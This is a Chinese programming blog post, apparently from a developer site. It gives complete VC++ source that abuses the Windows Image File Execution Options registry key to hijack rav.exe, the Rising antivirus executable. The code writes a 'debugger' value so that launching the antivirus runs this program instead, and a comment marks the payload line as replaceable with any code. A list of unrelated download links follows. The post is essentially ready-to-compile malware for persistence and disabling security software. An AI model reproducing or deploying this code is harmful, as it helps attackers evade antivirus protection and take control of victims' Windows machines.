`
winzenghua
  • 浏览: 1326250 次
  • 性别: Icon_minigender_2
  • 来自: 广州
文章分类
社区版块
存档分类
最新评论

VC++实现镜像劫持(360保险箱启动原理)

阅读更多

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
char temp[256];
DWORD ret;
LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; //定义字符串指针,保存映像劫持的键位
HKEY h_KEY;
if(argc!=1) //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径
{
memset(temp,0,256);
strcpy(temp,argv[1]);
for(int i=0;i<strlen(temp);i++) //将路径中的\换为/,也可以换为\\,就是代码长了点
{
if(temp[i]=='\\')
temp[i]='/';
}
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄
if(ret==ERROR_SUCCESS)
{
printf("open ok!\n");
if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除
{
printf("delete ok!\n");
RegCloseKey(h_KEY);
WinExec(temp,SW_SHOW); //运行被劫持的程序
}
else
{
printf("delete failed!\n");
RegCloseKey(h_KEY);
}
}
else
printf("open failed!\n");
}
memset(temp,0,256);
GetModuleFileName(NULL,temp,256); //得到程序自己的路径,为下面写入注册表做准备
HKEY hResultKey = NULL;
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY)) //打开注册表中映像劫持的子键,获得句柄
{
DWORD dw;
ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw); //在上面打开的子键下创建rav子键并打开,获得句柄
if (ret!=ERROR_SUCCESS)
{
RegCloseKey(h_KEY);
printf("creat failed!\n");
return 1;
}
printf("creat ok!\n");
ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1); //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持
if(ret!=ERROR_SUCCESS)
{
RegCloseKey(h_KEY);
RegCloseKey(hResultKey);
return 1;
}
RegCloseKey(h_KEY);
RegCloseKey(hResultKey);
printf("set ok!\n");
}
MessageBox(NULL,"ok!","成功!",MB_OK); //用于测试程序,可换为其他需要执行代码

return 0;
}

分享到:
评论

相关推荐

    VC++数字图像处理之图像镜像

    VC++数字图像处理之图像镜像,实现了图像的水平镜像和垂直镜像 注:本资源和之前博客上资源是连贯的,代码功能是不断的增加的,如果下载了这次的,前面的资源就不用下载了,因为这个代码已经包含了前面的示例代码

    vc++6.0英文原版镜像文件下载地址

    VC++6.0原版镜像文件下载地址。大小:612.89MB。

    vc++ 几何变换代码

    vc++实现图像常规几何变换 镜像 旋转 平移 缩放 转置

    vc++实现图像的处理与变换的程序

    本程序是基于vc++编写的程序,可以实践图像的打开,保存,复制,粘贴,几何运算(旋转,平移,镜像),还有灰度运算。

    基于VC++的数字图像处理之图像镜像

    基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像基于VC++的数字图像处理之图像镜像

    DOS启动镜像,DOS启动镜像

    DOS启动镜像,DOS启动镜像,DOS启动镜像,DOS启动镜像

    vc++ 应用源码包_3

    VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++视频捕捉系统 win32下 视频操作。 VC++视频会议系统(完整)有开发文档。使用了系统自带的视频。 Windows...

    针对病毒镜像劫持的修复工具

    针对一些病毒镜像劫持杀毒软件的修复工具,里面一共有三个工具。

    U盘启动制作(可以通过镜像文件制作U盘系统启动电脑)

    可以通过镜像文件制作U盘启动,通过镜像设置好路径,插上U盘,可以一键制作U盘启动!

    启动盘镜像文件(比较经典)

    制作启动光盘的镜像文件,大小1.45M 文件名:boot.ISO 为什么下载的有人说很好用,用人说是空的???? 因为镜像文件只能刻录在光盘上作为启动盘才能使用,不能像打开txt文件 那样浏览文件

    ISO光盘镜像启动(不刻录镜像文件也可光盘启动)

    只需要修改boot.ini文件,即可加载C盘的iso启动镜像文件。重启机器后,可以像光盘一样启动硬盘的iso启动光盘镜像,可重新安装系统以及系统维护等多种操作。

    VC++图像处理程序设计_几何变换

    VC++图像处理程序设计,图像的平移,镜像变换,缩放,转置,旋转

    端口镜像——实现流量分析监控的原理.doc

    端口镜像——实现流量分析监控的原理.doc

    ubuntu 镜像网络启动镜像

    Ubuntu 18.04 LTS (Bionic Beaver) Netboot,这是1804长期支持版本,受上传大小限制,上传的是网络启动安装镜像,安装时必须有互联网,启动安装过程要从远程服务器加载启动文件,否则没办法安装的。

    vc++6.0英文原版下载地址

    vc++6.0英文原版下载地址 序列号都是0 下载不了骂我`不过我不单保以后 看网上找原版都找的很辛苦

    vc++ 应用源码包_1

    VC++实现网络连接查看器源码 非常好的一个实例,把网络连接的UDP/TCP都插入到CList控件中显示出来。 VC++视频捕捉系统 win32下 视频操作。 VC++视频会议系统(完整)有开发文档。使用了系统自带的视频。 Windows...

    WIN 98启动盘 软盘镜像IMG

    WIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMGWIN 98启动盘 软盘镜像IMG

    纯DOS启动光盘镜像ISO文件.ISO

    光盘为纯DOS启动盘,可直接用于BIOS刷新. 刷新程序和BIOS文件,请自行下载并解压到光盘中即可.此文件为光盘ISO镜像文件,请使用WINIMG将下载的BIOS文件和刷新程序添加到ISO文件中.并重新刻制启动光盘.也可直接将下载的...

    u盘启动镜像文件

    u盘启动镜像文件,虚拟光驱打开,使用刻录软件制作u盘引导HDD,可用于u盘启动

    Win8 DirectX 实现木箱镜像

    实现木箱的镜像效果。 VS2012 Pro + Win8 Pro编译运行

Global site tag (gtag.js) - Google Analytics